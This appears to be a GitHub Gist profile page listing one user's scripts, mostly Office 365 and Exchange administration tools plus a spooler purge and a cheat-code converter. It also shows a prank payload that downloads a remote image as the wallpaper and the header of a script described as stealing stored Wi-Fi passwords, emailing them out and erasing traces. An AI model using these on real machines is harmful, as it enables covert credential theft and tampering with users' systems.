Skip to content

Instantly share code, notes, and snippets.

View LudovicOmarini's full-sized avatar
😁
Good vibes

Ludovic Omarini LudovicOmarini

😁
Good vibes
  • Les Hôpitaux du Jura
  • Lons-le-Saunier, France
View GitHub Profile
@LudovicOmarini
LudovicOmarini / O365_Manage_Calendar_Rights.ps1
Created April 25, 2024 12:12
This script manages Exchange Online calendar permissions for one or more users.
<#
.SYNOPSIS
This script manages Exchange Online calendar permissions for one or more users.
.DESCRIPTION
This script first checks if the ExchangeOnlineManagement module is installed and installs it if necessary.
Then, it connects to Exchange Online and retrieves the current permissions on the specified users' calendars.
The user can then choose to add, update, or remove permissions on the calendars, specifying the target user and the permissions to grant.
The changes are then made to the relevant calendars.
@LudovicOmarini
LudovicOmarini / Set_immutableid_to_null.ps1
Created April 8, 2024 12:58
Set immutableID for an Office 365 user to $null value
<#
.SYNOPSIS
Office 365 : Set immutableID to $null
.DESCRIPTION
This script set immutableID for an Office 365 user to $null value.
.EXAMPLE
.\Set_immutableid_to_null.ps1
#>
# Connexion à l'API Graph
@LudovicOmarini
LudovicOmarini / ARCode_to_libretro.py
Created December 28, 2023 14:52
Convert Action Replay code to Libretro code
# Encryption seeds for Pro Action Replay v3/4
Seeds = [
0x7AA9648F,
0x7FAE6994,
0xC0EFAAD5,
0x42712C57
]
def decrypt(opcode, operand):
for i in range(32, 0, -1):
# URL is for if you want to host your own copy of this payload
$url = "https://s.topchretien.com/media/filer_public_thumbnails/filer_public/e1/79/e179cc79-d3b4-4004-9c21-bacb3677d7da/homme_laid-_humour.jpg__770x433_q85_crop_subsampling-2_upscale.jpg"
$wp = "$Env:tmp\---wp.png"
iwr $url -O $wp
Function Set-WallPaper {
@LudovicOmarini
LudovicOmarini / Change_Domain_userPrincipalName_O365.ps1
Created December 9, 2022 14:42
Change the domain of all office 365 users on your tenant.
<#
.SYNOPSIS
Change domain of all office 365 users.
.DESCRIPTION
This script change the domain of all office 365 users on your tenant.
This change the "userPricipalName".
.WARNING
This script assumes you are already connected to the right services and have all modules installed.
.EXAMPLE
Execute the script and type your choices.
@LudovicOmarini
LudovicOmarini / Enable_Disable_Service_Plan_O365.ps1
Last active June 21, 2023 14:23
Enable or disable service plan options within each license package while respecting current configuration for each user.
<#
.SYNOPSIS
Enable or disable service plan options within each license package while respecting current configuration for each user.
.DESCRIPTION
Even when using PowerShell, Microsoft doesn’t make it simple when it comes to adjusting licensing in bulk and service plan
options/apps within. Mainly that is because there is no easy way to keep a current configuration –
any license change you apply to a user overwrites their existing setup.
To address that letdown I created a script you can find below.
.WARNING
This script assumes you are already connected to the right services and have all modules installed.
@LudovicOmarini
LudovicOmarini / Purge_Spooler.bat
Created April 29, 2022 07:32
Purge all files of print spooler
net stop spooler
del /q /s C:\Windows\System32\spool\PRINTERS\*
net start spooler
pause
@LudovicOmarini
LudovicOmarini / Set_O365_OutOfOffice_Message_By_List.ps1
Last active August 13, 2021 09:46
The script create a exchange powershell session and browse an external list from file to set an o365 out of office message for every occurences on the file between two datetime
<#
.SYNOPSIS
Set an out of office message for o365 users by list between two datetime.
.DESCRIPTION
The script create a exchange powershell session and browse an external list from file to set an o365 out of office message for every occurences on the file between two datetime
.EXAMPLE
Create a txt file with all the email adress you have to set an out of message with this form :
email@adress.com
email2@adress.com
email3@adress.com
@LudovicOmarini
LudovicOmarini / Wi-fi_Password_Stealer_Email.ps1
Last active December 14, 2022 08:35
This script get Wi-Fi informations stored on the computer and sent it by mail.
<#
.SYNOPSIS
Steals the wifi information from the computer and send it by email.
.DESCRIPTION
The script retrieves the wifi information, parses them, sends this information by email and erases the traces.
.EXAMPLE
.\Wi-fi_Password_Stealer_Email.ps1
#>
#Creation of the temp directory and moving into it
@LudovicOmarini
LudovicOmarini / Rename_O365_Group.ps1
Last active August 13, 2021 09:44
This script is used to rename an Office 365 group.
<#
.SYNOPSIS
Renames an Office 365 group.
.DESCRIPTION
This script is used to rename an Office 365 group.
.EXAMPLE
Change "Identity" and "DisplayName" parameters before running this script.
.\Rename_O365_Group.ps1